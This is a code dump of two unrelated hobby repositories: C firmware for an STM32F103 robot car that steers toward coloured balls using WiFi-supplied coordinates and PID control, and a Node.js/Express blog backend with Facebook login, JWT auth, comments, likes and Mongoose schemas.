0; int PWM_R = 0; int PWM_L = 0; unsigned int button_pressed = 0; bool isOn = false; bool shutDown = false; bool startTurn_1 = false; bool startTurn_2 = false; bool startTurn_3 = false; bool startTurn_4 = false; int turningCnt = 0; int turningPeriod = 38; int wheel_count_R = 0; int wheel_count_L = 0; void clear_variables(){ carAngle = 0; targetAngle = 0; error = 0; last_error = 0; integral = 0; derivative = 0; PWM_R = 0; PWM_L = 0; } // Right Wheel Counter EXTI void EXTI1_IRQHandler(){ if (EXTI_GetITStatus(EXTI_Line1) != RESET){ wheel_count_R++; EXTI_ClearITPendingBit(EXTI_Line1); } } // Left Wheel Counter & On-Board Button EXTI void EXTI9_5_IRQHandler(){ if(EXTI_GetITStatus(EXTI_Line6) != RESET){ wheel_count_L++; EXTI_ClearITPendingBit(EXTI_Line6); } if(EXTI_GetITStatus(EXTI_Line8) != RESET){ clear_variables(); // Clear all variables button_pressed = 0; if(button_pressed==0){ if(!isOn){ isOn = true; } else{ isOn = false; shutDown = true; offLight(); stopMotor(); } } button_pressed ++; EXTI_ClearITPendingBit(EXTI_Line8); } else{ button_pressed = 0; } } // Check USART Data from WIFI void USART2_IRQHandler(){ if(USART_GetITStatus(USART2, USART_IT_RXNE) != RESET) { charPos++; wifi_data[charPos] = (char) USART_ReceiveData(USART2); check_wifiData(); } } void check_wifiData(void){ // Check if Got IP if(wifi_data[charPos] == '\r' && wifi_data[charPos - 1] == 'P' && wifi_data[charPos - 2] == 'I' && wifi_data[charPos - 3] == ' ' && wifi_data[charPos - 4] == 'T' && wifi_data[charPos - 5] == 'O' && wifi_data[charPos - 6] == 'G' && wifi_data[charPos - 7] == ' ' && wifi_data[charPos - 8] == 'I' && wifi_data[charPos - 9] == 'F' && wifi_data[charPos - 10] == 'I' && wifi_data[charPos - 11] == 'W'){ offLight(); charPos = -1; WIFIConnected = true; } // Car Head if((!shutDown) && wifi_data[charPos] == '\r' && wifi_data[charPos - 7] == 'D' && wifi_data[charPos - 8] == 'E' && wifi_data[charPos - 9] == 'H'){ car_HeadX = Hex2Dec(wifi_data[charPos - 6]) * 256 + Hex2Dec(wifi_data[charPos - 5]) * 16 + Hex2Dec(wifi_data[charPos - 4]) * 1; car_HeadY = Hex2Dec(wifi_data[charPos - 3]) * 256 + Hex2Dec(wifi_data[charPos - 2]) * 16 + Hex2Dec(wifi_data[charPos - 1]) * 1; charPos = -1; //blinkLight(); } // Car End if((!shutDown) && wifi_data[charPos] == '\r' && wifi_data[charPos - 7] == 'L' && wifi_data[charPos - 8] == 'A' && wifi_data[charPos - 9] == 'T'){ car_EndX = Hex2Dec(wifi_data[charPos - 6]) * 256 + Hex2Dec(wifi_data[charPos - 5]) * 16 + Hex2Dec(wifi_data[charPos - 4]) * 1; car_EndY = Hex2Dec(wifi_data[charPos - 3]) * 256 + Hex2Dec(wifi_data[charPos - 2]) * 16 + Hex2Dec(wifi_data[charPos - 1]) * 1; charPos = -1; } // 'B' 'B' 'E' -> Ball of Blue if((!shutDown) && wifi_data[charPos] == '\r' && wifi_data[charPos - 7] == 'E' && wifi_data[charPos - 8] == 'B' && wifi_data[charPos - 9] == 'B'){ BBE_X = Hex2Dec(wifi_data[charPos - 6]) * 256 + Hex2Dec(wifi_data[charPos - 5]) * 16 + Hex2Dec(wifi_data[charPos - 4]) * 1; BBE_Y = Hex2Dec(wifi_data[charPos - 3]) * 256 + Hex2Dec(wifi_data[charPos - 2]) * 16 + Hex2Dec(wifi_data[charPos - 1]) * 1; blinkLight(); charPos = -1; } // 'B' 'O' 'E' -> Ball of Orange if((!shutDown) && wifi_data[charPos] == '\r' && wifi_data[charPos - 7] == 'E' && wifi_data[charPos - 8] == 'O' && wifi_data[charPos - 9] == 'B'){ BOE_X = Hex2Dec(wifi_data[charPos - 6]) * 256 + Hex2Dec(wifi_data[charPos - 5]) * 16 + Hex2Dec(wifi_data[charPos - 4]) * 1; BOE_Y = Hex2Dec(wifi_data[charPos - 3]) * 256 + Hex2Dec(wifi_data[charPos - 2]) * 16 + Hex2Dec(wifi_data[charPos - 1]) * 1; //blinkLight(); charPos = -1; } // 'B' 'Y' 'L' -> Ball of Yellow if((!shutDown) && wifi_data[charPos] == '\r' && wifi_data[charPos - 7] == 'L' && wifi_data[charPos - 8] == 'Y' && wifi_data[charPos - 9] == 'B'){ BYL_X = Hex2Dec(wifi_data[charPos - 6]) * 256 + Hex2Dec(wifi_data[charPos - 5]) * 16 + Hex2Dec(wifi_data[charPos - 4]) * 1; BYL_Y = Hex2Dec(wifi_data[charPos - 3]) * 256 + Hex2Dec(wifi_data[charPos - 2]) * 16 + Hex2Dec(wifi_data[charPos - 1]) * 1; //blinkLight(); charPos = -1; } } void move(void){ if(state == 1){ if((BBE_X > 465) && (car_EndX > BBE_X)){ carAngle = asin((car_HeadY - car_EndY) / sqrt(pow(car_HeadX-car_EndX,2) + pow(car_HeadY-car_EndY,2))) * (180.0 / PI); targetAngle = asin((BBE_Y - car_HeadY) / sqrt(pow(BBE_X-car_HeadX,2) + pow(BBE_Y-car_HeadY,2))) * (180.0 / PI); last_error = error; error = targetAngle - carAngle; integral += error; derivative = error - last_error; PWM_R = (int) PWM_forward + error * Kp_forward + integral * Ki_forward + derivative * Kd_forward; PWM_L = (int) PWM_forward - error * Kp_forward - integral * Ki_forward - derivative * Kd_forward; powerRight(PWM_R); powerLeft(PWM_L); } else{ stopMotor(); clear_variables(); state++; } } if(state == 2){ powerRight(-50); powerLeft(50); startTurn_1 = true; } if(state == 3){ if(car_HeadX < init_posX){ carAngle = asin((car_HeadY - car_EndY) / sqrt(pow(car_HeadX-car_EndX,2) + pow(car_HeadY-car_EndY,2))) * (180.0 / PI); targetAngle = (-1) * asin((init_posY - car_HeadY) / sqrt(pow(init_posX-car_HeadX,2) + pow(init_posY-car_HeadY,2))) * (180.0 / PI); last_error = error; error = targetAngle + carAngle; integral += error; derivative = error - last_error; PWM_R = (int) PWM_back + error * Kp_back + integral * Ki_back + derivative * Kd_back; PWM_L = (int) PWM_back - error * Kp_back - integral * Ki_back - derivative * Kd_back; powerRight(PWM_R); powerLeft(PWM_L); }else{ stopMotor(); clear_variables(); state ++; } } if(state == 4){ powerRight(50); powerLeft(-50); startTurn_2 = true; } if(state == 5){ if((BOE_X > 480) && (car_EndX > BOE_X)){ carAngle = asin((car_HeadY - car_EndY) / sqrt(pow(car_HeadX-car_EndX,2) + pow(car_HeadY-car_EndY,2))) * (180.0 / PI); targetAngle = asin((BOE_Y - car_HeadY) / sqrt(pow(BOE_X-car_HeadX,2) + pow(BOE_Y-car_HeadY,2))) * (180.0 / PI); last_error = error; error = targetAngle - carAngle; integral += error; derivative = error - last_error; PWM_R = (int) PWM_forward + error * Kp_forward + integral * Ki_forward + derivative * Kd_forward; PWM_L = (int) PWM_forward - error * Kp_forward - integral * Ki_forward - derivative * Kd_forward; powerRight(PWM_R); powerLeft(PWM_L); } else{ stopMotor(); clear_variables(); state++; } } if(state == 6){ powerRight(-50); powerLeft(50); startTurn_3 = true; } if(state == 7){ if(car_HeadX < init_posX){ carAngle = asin((car_HeadY - car_EndY) / sqrt(pow(car_HeadX-car_EndX,2) + pow(car_HeadY-car_EndY,2))) * (180.0 / PI); targetAngle = (-1) * asin((init_posY - car_HeadY) / sqrt(pow(init_posX-car_HeadX,2) + pow(init_posY-car_HeadY,2))) * (180.0 / PI); last_error = error; error = targetAngle + carAngle; integral += error; derivative = error - last_error; PWM_R = (int) PWM_back + error * Kp_back + integral * Ki_back + derivative * Kd_back; PWM_L = (int) PWM_back - error * Kp_back - integral * Ki_back - derivative * Kd_back; powerRight(PWM_R); powerLeft(PWM_L); }else{ stopMotor(); clear_variables(); state ++; } } if(state == 8){ powerRight(50); powerLeft(-50); startTurn_4 = true; } if(state == 9){ if((BYL_X > 465) && (car_EndX > BYL_X)){ carAngle = asin((car_HeadY - car_EndY) / sqrt(pow(car_HeadX-car_EndX,2) + pow(car_HeadY-car_EndY,2))) * (180.0 / PI); targetAngle = asin((BYL_Y - car_HeadY) / sqrt(pow(BYL_X-car_HeadX,2) + pow(BYL_Y-car_HeadY,2))) * (180.0 / PI); last_error = error; error = targetAngle - carAngle; integral += error; derivative = error - last_error; PWM_R = (int) PWM_forward + error * Kp_forward + integral * Ki_forward + derivative * Kd_forward; PWM_L = (int) PWM_forward - error * Kp_forward - integral * Ki_forward - derivative * Kd_forward; powerRight(PWM_R); powerLeft(PWM_L); } else{ stopMotor(); clear_variables(); state++; } } } int main(){ TIM3_CH12_PWM_init(); TIM2_Init(); Left_Wheel_Cnt_init(); Right_Wheel_Cnt_init(); Wheel_Dir_Init(); Button_init(); OnBoard_lED_Init(); SPI2_init(); USART2_init(); onLight(); USARTsend(start,sizeof(start)); USARTsend(connectWIFI,sizeof(connectWIFI)); while(1){ } } void TIM2_IRQHandler(){ if (TIM_GetITStatus(TIM2, TIM_IT_Update) != RESET) { if(WIFIConnected & !dataReceived){ USARTsend(retrieveData,sizeof(retrieveData)); } if(isOn){ move(); } if(startTurn_1){ turningCnt ++; if(turningCnt == turningPeriod){ turningCnt = 0; startTurn_1 = false; state = 3; } } if(startTurn_2){ turningCnt ++; if(turningCnt == turningPeriod){ turningCnt = 0; startTurn_2 = false; state = 5; } } if(startTurn_3){ turningCnt ++; if(turningCnt == turningPeriod){ turningCnt = 0; startTurn_3 = false; state = 7; } } if(startTurn_4){ turningCnt ++; if(turningCnt == turningPeriod){ turningCnt = 0; startTurn_4 = false; state = 9; } } TIM_ClearITPendingBit(TIM2, TIM_IT_Update); } }<file_sep>#include "stm32f10x.h" //********************************************************* // Light Functions //********************************************************* void onLight(void){ GPIO_WriteBit(GPIOB, GPIO_Pin_7, Bit_SET); } void offLight(void){ GPIO_WriteBit(GPIOB, GPIO_Pin_7, Bit_RESET); } void blinkLight(void){ if(GPIO_ReadOutputDataBit(GPIOB, GPIO_Pin_7)){ GPIO_WriteBit(GPIOB, GPIO_Pin_7, Bit_RESET); }else{ GPIO_WriteBit(GPIOB, GPIO_Pin_7, Bit_SET); } } //********************************************************* // Motor Wheel Functions //********************************************************* void setForwardRight(void){ GPIO_WriteBit(GPIOC, GPIO_Pin_15, Bit_SET); } void setBackwardRight(void){ GPIO_WriteBit(GPIOC, GPIO_Pin_15, Bit_RESET); } void setForwardLeft(void){ GPIO_WriteBit(GPIOA, GPIO_Pin_0, Bit_SET); } void setBackwardLeft(void){ GPIO_WriteBit(GPIOA, GPIO_Pin_0, Bit_RESET); } void powerRight(int cycle){ if(cycle < 0){ setBackwardRight(); TIM3 -> CCR1 = -1 * cycle; }else{ setForwardRight(); TIM3 -> CCR1 = cycle; } } void powerLeft(int cycle){ if(cycle < 0){ setBackwardLeft(); TIM3 -> CCR2 = -1 * cycle; }else{ setForwardLeft(); TIM3 -> CCR2 = cycle; } } void stopMotor(void){ TIM3 -> CCR1 = 0; TIM3 -> CCR2 = 0; } //********************************************************* // Convert Hex to Decimal value //********************************************************* int Hex2Dec(char temp){ int val; if(temp >= '0' && temp <= '9'){ val = temp - '0'; } else if(temp >= 'a' && temp <= 'f'){ val = temp - 'a' + 10; } return val; } //********************************************************* // USART2 Send //********************************************************* void USARTsend(char *pucBuffer, unsigned long ulCount){ while(ulCount--){ USART_SendData(USART2,*pucBuffer++); while(USART_GetFlagStatus(USART2,USART_FLAG_TC) == RESET); } }
d52fcbbed088c96fa0e5e490417eed2a2b292a28
[ "Markdown", "C" ]
7
C
LehnsherrYu/STM32F103-Robot-Car
53461a1b409c312ffd0bdd3284d0d262968244e6
71ec89d8cc08e1d4a4b8358d44e3ec4d883d70ca
refs/heads/master
<repo_name>goodmite/blogWebsiteBackEnd<file_sep>/auth/index.js 'use strict'; const passport = require('passport'); const config = require('../config/index'); const FacebookStrategy = require('passport-facebook').Strategy; const h = require('../helper'); module.exports = function () { passport.serializeUser(function (user, done) { console.log("in serializeUser"); done(null, user.id); //serialized method in \passport\lib\authenticator.js //by invoking the done method => we are creating the session and storing user id in req object }); /* passport.serializeUser() runs when authorization process ends, after done method * passport.serializeUser() creates a session and by passing user.id, we only store user _id from db in the session */ passport.deserializeUser(function (id, done) { console.log("in deserializeUser"); //find the user data using _id h.findbyID(id).then(function (user) { done(null,user)// now this data is made available in request stream as req.user }).catch(function (error) { console.log("some error"); }) }); let authProcessor = function (acessToken, refreshToken, profile, done) { //acessToken and refreshToken are provided by facebook as a part of OAuth process /*find user in local db using profile.id if user is found =>no need to get it from facebook, return the user data using done method if not found => create a new user profile and store it in DB*/ console.log("facebookStratagy...authProcessor"); h.findOne(profile.id) .then(function (result) { if(result) { done(null,result); // now this data is avaibale to use to our app } else { //create new user and return h.createNewUser(profile) .then(function (newSiteUser) { done(null, newSiteUser); }) .catch(function (error) { console.log(error); }) } }); //if the user is found => return the user data useing done() //if user is not found => create one in local db and return }; passport.use(new FacebookStrategy(config.fb,authProcessor) ); };<file_sep>/routes/user.js const express= require('express'); const router = express.Router(); const mongoose = require('mongoose'); const Schema = mongoose.Schema; const bcrypt = require('bcryptjs'); const db = require('../db'); const dbHelper = require('./db'); const jwt = require('jsonwebtoken'); const helper = require('../helper'); // require('') router.post('/signup', function (req,res,next) { //check if we already have a user with this email address db.siteUserModel.findOne({$or:[{email:req.body.email},{userName:req.body.userName}]}, function (err,user) { //TODO: ALSO CHECK FOR UNIQUE USERNAME if(user){ if(user.userName===req.body.userName) res.json({problem_message:'Username is already taken'}); else if (user.email===req.body.email){ res.json({problem_message:'Email is already taken'}); } else { res.json({problem_message:'Username or email is already taken'}); } } else if(err){ res.json({problem_message:'We are experiencing server issue. Please try again later.'}); } else { let user = new db.siteUserModel({ userName: req.body.userName, fullName:req.body.fullName, email:req.body.email, password:<PASSWORD>.hashSync(req.body.password,10)//salt = 10 how strong this encryption is }); console.log(user); user.save(function (err, result) { if(err){ return res.status(500).json({title:'error occurred', error:err}); } res.status(201).json({message:'user created',obj:result}); }); } }); }); router.post('/saveEditedImageContainer', function (req,res,next) { let imageContainer = req.body.imageContainer; dbHelper.updateImageContainer(imageContainer).then(function (result) { console.log(result); }); }); router.post('/login',function (req,res,next) { //TODO: use user name for sign in as well console.log(req.body); db.siteUserModel.findOne({email:req.body.email}, function (err,user) { if(err){ return res.status(500).json({problem_message:'DB error occurred', error:err}); } if(!user){ console.log('No user found'); return res.status(500).json({problem_message:'No user found'}); } if(!bcrypt.compareSync(req.body.password, user.password)) { return res.status(500).json({problem_message:'Wrong password'}); } //password is correct; create jwt let token = jwt.sign({user:user},'secret',{expiresIn:7200}); res.status('200').json({massage:'successfully logged in',token,user}); }); }); router.post('/liked_images',function (req,res,next) { dbHelper.getUsersFromDB({_id:req.body.user_id},0,1).then(function (results) { console.log(results[0].votes); console.log(results[0]._doc.votes); //making an array of {_id:...}, this _id is image_id tempArray = []; for(let i=0;i<results[0].votes.length;i++){ console.log('hi'); tempArray.push({_id:results[0].votes[i]}) } if(tempArray.length===0){ res.json([]); } else { dbHelper.getImagesContainersFromDB({$or: tempArray}).then(function (value) { console.log('----------------------========================='); console.log(value); res.status(200).send(value); }); } } , (err)=> { return res.status(500).json({problem_message:'DB error occurred', error:err}); } ); }); router.post('/likedBlogs',function (req,res,next) { dbHelper.getUsersFromDB({_id:req.body.user_id},0,1).then(function (results) { //making an array of {_id:...}, this _id is image_id tempArray = []; for(let i=0;i<results[0].votes.length;i++){ console.log('hi'); tempArray.push({_id:results[0].votes[i]}) } if(tempArray.length===0){ res.json({value:[]}); } else { dbHelper.getBlogPostsFromDB({$or: tempArray}).then(function (value) { value = helper.transformResultsAndRespond(req,res,searchQuery="",value); res.status(200).send({value}); }); } } , (err)=> { return res.status(500).json({problem_message:'DB error occurred', error:err}); } ); }); router.post('/dirtyBlogs',function (req,res,next) { let query = {blogAuthor_id:req.body.user_id,blogIsDirty:true}; dbHelper.getResultsFromDB(query ,0,10).then((value)=> { //TODO: remove repeated words from query unless exact phrase //TODO: add functionality for exact phrase value = helper.transformResultsAndRespond(req,res,searchQuery,value);//1. Relevancy 2. make bold 3.add ellipsis res.send({value,searchQueryTImeStamp: req.body.searchQueryTImeStamp} ); } ); // dbHelper.getUsersFromDB({_id:req.body.user_id},0,1).then(function (results) { // //making an array of {_id:...}, this _id is image_id // tempArray = []; // for(let i=0;i<results[0].votes.length;i++){ // console.log('hi'); // tempArray.push({_id:results[0].votes[i]}) // } // if(tempArray.length===0){ // res.json({value:[]}); // } // else { // dbHelper.getBlogPostsFromDB({$or: tempArray}).then(function (value) { // value = helper.transformResultsAndRespond(req,res,searchQuery="",value); // res.status(200).send({value}); // }); // } // } // // // , // (err)=> { // return res.status(500).json({problem_message:'DB error occurred', error:err}); // } // ); }); router.post('/writtenBlogs',function (req,res,next) { console.log(req.body.user_id); //if user_id = undefined => return 501 dbHelper.getBlogPostsFromDB({ blogAuthor_id: req.body.user_id }).then(function (value) { console.log(value); value = helper.transformResultsAndRespond(req,res,searchQuery="",value); res.status(200).send({value}); }, (err)=> {res.status(500).send({message:'some DB error'});} ); }); router.post('/user_details',function (req,res,next) { console.log(req.body.user_id); dbHelper.getUsersFromDB({ _id: req.body.user_id }).then(function (value) { console.log(value); res.status(200).send(value); }, (err)=> { res.status(500).send({message:'some DB error'}); } ); }); router.post('/saveBlogPost',function (req,res,next) { console.log(req.body); let _id = req.body._id; // let blogPost = new db.blogPostModel(req.body); // blogPost.save(req.body,function (err,result) { // if(err){ // console.log(err); // res.status(501).json({message:'some problem with DB'}); // return; // } // res.status(201).json({message:'blog created',obj:result}); // // // }); let criteriaObject ; if(_id) {//TODO: use upsert for entire if else block criteriaObject = {_id:_id}; db.blogPostModel.update(criteriaObject,req.body,{ upsert: true },function (err, numAffected) { console.log(err); console.log(numAffected); if(err) res.json({message:'Some problem with connecting with DB'}); else { res.json({message:'successfully saved!'}); } }); } else { criteriaObject = {}; // db.blogPostModel.insert( req.body);//TODO: This code gives error. check out why? let blogPost = new db.blogPostModel(req.body); blogPost.save(function (err, savedDoc) { if(err) res.json({message:'Some problem with connecting with DB'}); else { res.json({message:'successfully saved!',_id:savedDoc['_doc']['_id']}); console.log(savedDoc); } }); } // db.blogPostModel.update(criteriaObject,req.body,{ upsert: true },function (err, numAffected) { // console.log(err); // console.log(numAffected); // if(err) // res.json({message:'Some problem with connecting with DB'}); // else { // res.json({message:'successfully saved!'}); // } // }); }); router.post('/saveComment',function (req,res,next) { console.log(req.body); let criteriaObject,_id; _id = req.body.comment._id; let totalCommentCountInCurrentBlog = req.body.totalCommentCountInCurrentBlog; let blog_id = req.body.comment.commentBlog_id; if(_id) {//TODO: use upsert for entire if else block criteriaObject = {_id:_id}; db.commentModel.update(criteriaObject,req.body,{ upsert: true },function (err, numAffected) { console.log(err); console.log(numAffected); if(err) res.json({message:'Some problem with connecting with DB'}); else { res.json({message:'successfully saved!'}); } }); } else { let comment = new db.commentModel(req.body.comment); comment.save(function (err, savedDoc) { if(err) res.json({message:'Some problem with connecting with DB'}); else { res.json({message:'successfully saved!'}); //save comment count in blog dbHelper.updateCommentCount_blogPost(blog_id,totalCommentCountInCurrentBlog) ; } }); } }); module.exports = router;<file_sep>/routes/app.js const express = require('express'); const router = express.Router(); const multer = require('multer'); const aws = require('./aws'); const helperDB = require('./db'); const helper = require('../helper'); const userRoutes = require('./user'); const passport = require('passport'); // console.log("in app.js file"); // set the directory for the uploads to the uploaded to let DIR = './uploads/'; // debugger; //http://valor-software.com/ng2-file-upload/ //define the type of upload multer would be doing and pass in its destination, in our case, its a single file with the name photo let upload = multer({dest: DIR}).single('photo'); /* GET home page. */ router.get('/', function(req, res, next) { res.render('index', { title: 'Express' }); }); //get blogPost router.post('/getBlogPost',function (req,res,next) { helperDB.getBlogPostsFromDB({_id:req.body._id},0,1).then((blogPost)=>{ res.status(201).json(blogPost); }); }); //our file upload function. router.post('/upload', function (req, res, next) { let temppathOfUploadedFile = ''; let rString = helper.randomString(24, '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'); upload(req, res, function (err) { if (err) { // An error occurred when uploading return res.status(422).send("an Error occured"); } //when No error occurs. temppathOfUploadedFile = req.file.path; // console.log(req.body); // console.log(req.file); // console.log(req.file.originalname,'=================================='); // res.json("Upload Completed for "+temppathOfUploadedFile); res.json(req.file.originalname); aws(temppathOfUploadedFile, rString);//DO NOT DELETE // helperDB.saveImageInDB(rString,req.body.imageAuthor,req.body.imageAuthor_id); helperDB.saveImageInDB(req.file.originalname,rString,req.body.imageAuthor,req.body.imageAuthor_id); }); }); //like // router.post('/increaseVoteCount', function (req, res, next) { // // //update the votecount of this perticular id // // console.log(req.body); // helperDB.updateVoteCount_inImageContainer( req.body.blogPost_id, req.body.user_id); // helperDB.updateVoteCount_inSiteUser(req.body.user_id, req.body.image_id, res); // res.send({messge :"Vote count updated"}); // // }); //like router.post('/toggleLike', function (req, res, next) { //update the votecount of this perticular id // console.log(req.body); helperDB.toggleLike_inBlogPost( req.body.blogPost_id, req.body.user_id, req.body.operation); helperDB.updateVoteCount_inSiteUser(req.body.blogPost_id, req.body.user_id, req.body.operation); res.send({messge :"Vote count updated"}); }); router.get('/auth/facebook', passport.authenticate('facebook'));//this kickstarts the auth process router.get('/auth/facebook/callback', passport.authenticate('facebook', { successRedirect: '/icons', failureRedirect: '/' })); router.post('/loadMore', function (req,res) { let skip = req.body.previouslyLoadedImagesCount; // let demanded = req.body.newImagesToBeLoadedCount; let demanded = 10; let query = helper.queryBuilder(req.body.searchQuery); let results = helperDB.getImagesContainersFromDB(query,skip,demanded).then((value)=> { res.send(value)}); }); router.post('/loadMoreResults', function (req,res) { let skip = req.body.previouslyLoadedResultsCount; let demanded = req.body.newResultsToBeLoadedCount; // let demanded = 10; let query = helper.queryBuilder(req.body.searchQuery); let results = helperDB.getBlogPostsFromDB(query,skip,demanded).then((value)=> { /*TODO: repeated code from all icons, make it in a function*/ // console.log("fetched value=>",value); if(value.length===0) { res.send([]); return; } /*calculate relevancy*/ if (req.body.searchQuery) { value = helper.calculateRelevancyForEachResult(value, req.body.searchQuery); /*add ellipsis*/ // value[0].blogHTML = helper.addEllpisis(value[0].blogHTML,req.body.searchQuery);//TODO: change 0 to i for (let i = 0; i < value.length; i++) { value[i].blogText = helper.addEllpisis(value[i].blogText, req.body.searchQuery);//TODO: change 0 to i } /*make bold*/ value = helper.resultTransformer(value,req.body.searchQuery); } /*TODO: repeated code from all icons, make it in a function*/ res.send(value)}); }); router.post('/AllIcons', function (req, res) { //find all the image names in the database let query = helper.queryBuilder(req.body.searchQuery); // if(req.body.searchQuery) { // // let tempArray = req.body.searchQuery.split(' '); // for(let i=0;i<tempArray.length;++i){ // tempArray[i] = "(.*"+tempArray[i] + ".*)"; // } // queryRegex= new RegExp(tempArray.toString().replace(',','|'),'i'); // query = {$or:[{imageName:queryRegex}, {imageTags:queryRegex}]}; // } // else // query={}; let results = helperDB.getImagesContainersFromDB(query ,0,10).then((value)=> { // console.log("fetched value=>",value); res.send(value); } ); }); router.post('/blogComments', function (req, res) { let commentBlog_id = req.body.commentBlog_id; let results = helperDB.getCommentsFromDB({commentBlog_id:commentBlog_id} ,0,100).then((value)=> { // console.log("fetched value=>",value); res.send(value); } ); }); router.post('/allresults', function (req, res) { let searchQuery = helper.transformSearchQuery(req.body.searchQuery); let query = helper.queryBuilder(searchQuery);//make a query object to be used for search in database let results = helperDB.getResultsFromDB(query ,0,10).then((value)=> { //TODO: remove repeated words from query unless exact phrase //TODO: add functionality for exact phrase value = helper.transformResultsAndRespond(req,res,searchQuery,value);//1. Relevancy 2. make bold 3.add ellipsis res.send({value,searchQueryTimeStamp: req.body.searchQueryTimeStamp} ); } ); }); router.get("/getcolor", function (req,res, next) { res.send("my fav color is:" + req.session.color); }); router.get("/setcolor", function (req,res, next) { req.session.color = "red"; res.send("fav color set"); }); router.all('*', function (req, res) { res.send('its a 404'); }); module.exports = router; //Testing webstorm commits<file_sep>/routes/db.js const db = require('../db'); const mongoose = require('../db').Mongoose; let saveImageInDB = function (tempImageName,tempImageURL,imageAuthor,imageAuthor_id) { let tempImageNameOnly = tempImageName.split(".")[0]; let tempImageExtnOnly = tempImageName.split(".")[tempImageName.split(".").length-1];//last element of array let tagsArray = tempImageNameOnly.split(" "); // console.log(tagsArray); tagsArray.push(tempImageExtnOnly); // console.log(tagsArray); let imageContainerItem = new db.imageContainerModel({ imageId: tempImageName, imageName: tempImageName, imageURL:tempImageURL, imageAuthor:imageAuthor, imageAuthor_id:imageAuthor_id, // imageTags:[], imageTags:tagsArray, imageVoteCount: 0 }); imageContainerItem.save(function (err,savedImageContainer) { console.log(savedImageContainer); }); // imageContainerItem.create(); }; let getImagesContainersFromDB = function (criteriaObject,skip,limit) { // console.log(resultCountli mit); return db.imageContainerModel.find(criteriaObject).skip(skip).limit(limit).exec(function (err, result) { // console.log(result+"======================================"); }); }; let getCommentsFromDB = function (criteriaObject,skip,limit) { // console.log(resultCountli mit); return db.commentModel.find(criteriaObject).skip(skip).limit(limit).exec(function (err, result) { // console.log(result+"======================================"); }); }; let getBlogPostsFromDB = function (criteriaObject,skip,limit) { return db.blogPostModel.find(criteriaObject).skip(skip).limit(limit).exec(function (err, result) { }); }; let getResultsFromDB = function (criteriaObject,skip,limit) { //TODO: Criteria object should also consider date return db.blogPostModel.find(criteriaObject).skip(skip).limit(limit).exec(function (err, result) { }); }; let getUsersFromDB = function (criteriaObject,skip,limit) { // console.log(resultCountlimit); return db.siteUserModel.find(criteriaObject).skip(skip).limit(limit).exec(function (err, result) { }); }; let updateVoteCount_inImageContainer = function (image_Id,res) { db.imageContainerModel.update({_id: image_Id}, {$inc: { imageVoteCount: +1}}, function (err, numAffected) { // console.log("vote updated in ", count, "+_results"); // console.log("count"); if(err) { // return res.json({errorMessage: ' server cant connect to databse'}); } }); }; let toggleLike_inBlogPost= function (blog_id, user_id, operation) { if(operation==="push") db.blogPostModel.update({_id: blog_id}, {$push: { blogLikes: user_id}}, function (err, numAffected) {//TODO: make it shorter...pull and push in one // console.log("vote updated in ", count, "+_results"); // console.log("count"); if(err) { // return res.json({errorMessage: ' server cant connect to databse'}); } }); else db.blogPostModel.update({_id: blog_id}, {$pull: { blogLikes: user_id}}, function (err, numAffected) { // console.log("vote updated in ", count, "+_results"); // console.log("count"); if(err) { // return res.json({errorMessage: ' server cant connect to databse'}); } }); }; let updateImageContainer = function (imageContainer) { db.imageContainerModel.update({_id: imageContainer._id}, imageContainer, function (err, numAffected) { console.log(err); // console.log("count"); console.log('vote updated in',numAffected.nModified, 'images'); }); }; let updateVoteCount_inSiteUser = function (blog_id, user_id, operation) { if(operation==="push") db.siteUserModel.update({_id: user_id}, {$push: {votes:blog_id}}, function (err, numAffected) { console.log(err); console.log('vote updated in',numAffected.nModified, 'users'); }); else { db.siteUserModel.update({_id: user_id}, {$pull: {votes: blog_id}}, function (err, numAffected) { console.log(err); console.log('vote updated in', numAffected.nModified, 'users'); }); } }; let updateCommentCount_blogPost= function (blog_Id,commentCount) { db.blogPostModel.update({_id: blog_Id}, { blogCommentsCount: commentCount}, function (err, numAffected) { // console.log("vote updated in ", count, "+_results"); if(err) { // return res.json({errorMessage: ' server cant connect to databse'}); } }); }; module.exports = { saveImageInDB, getImagesContainersFromDB, updateVoteCount_inImageContainer, updateVoteCount_inSiteUser, getUsersFromDB, updateImageContainer, getResultsFromDB, getBlogPostsFromDB, getCommentsFromDB, toggleLike_inBlogPost, updateCommentCount_blogPost }; <file_sep>/db/index.js 'use strict'; const config = require('../config'); const Mongoose = require('mongoose').connect(config.dbURL); Mongoose.connection.on('error', error => { // logger.log('error', 'Mongoose connection error: ' + error); }); // Create a Schema that defines the structure for storing user data const imageContainerSchema = new Mongoose.Schema({ imageId: String, imageName: String, imageTags: [String], imageURL: String, imageAuthor: String, imageAuthor_id: String, imageVoteCount: Number, imagePublishDate: String, imageComments: String }); const siteUserSchema = new Mongoose.Schema({ userName: String, fullName: String, email: String, password: <PASSWORD>, profileID : String, profilePicURL: String, votes: [String], comments: [{comment: String, image: String}],//array of an object // uploaded: [String], writtenBlogs: [String],//blog's _id sring dateOfSignup: Date, lastLogin: Date }); const BlogPostSchema = new Mongoose.Schema({ blogTitle:String, blogHTML:String, blogDraftHTML:String, blogIsDirty:Boolean, blogText:String, blogAuthor_id:String, blogAuthor_fullName:String, blogCreationDate:Date, blogLastUpdatedDate:Date, blogLikes:[String], blogViews:Number, blogComments:[], blogCommentsCount:Number, blogTags:[String], blogRelevency:Number, blogImageURL: String }); const threadSchema = new Mongoose.Schema({ _id: String, threadComment_idArray: [String], threadDate: Date }); const commentSchema = new Mongoose.Schema({ commentText: String, commentHTML: String, commentAuthor_FullName:String, commentAuthor_PicURL:String, commentBlog_id:String,// commentParent_id:String, commentParentLevel:Number, commentChild_idArray:[String], commentLevel:Number, commentRankCode:String, commentDate: Date, commentLikes: [String], }); // Turn the schema into a usable model let imageContainerModel = Mongoose.model('imageContainer', imageContainerSchema); let siteUserModel = Mongoose.model('siteUser', siteUserSchema); let blogPostModel = Mongoose.model('blogPost', BlogPostSchema); //following is related to comments let threadModel = Mongoose.model('thread', threadSchema); let commentModel = Mongoose.model('comment', commentSchema); module.exports = { Mongoose, imageContainerModel, siteUserModel, blogPostModel, commentModel };
0c97ccd1c6539eccb77833b1320f86dfcf36abb1
[ "JavaScript" ]
5
JavaScript
goodmite/blogWebsiteBackEnd
8f708760f7e8ceee518c5836d9f40ca68cea06ef
e8b631d260cbc749ebbd6a643e7d802b699fdf42
refs/heads/master
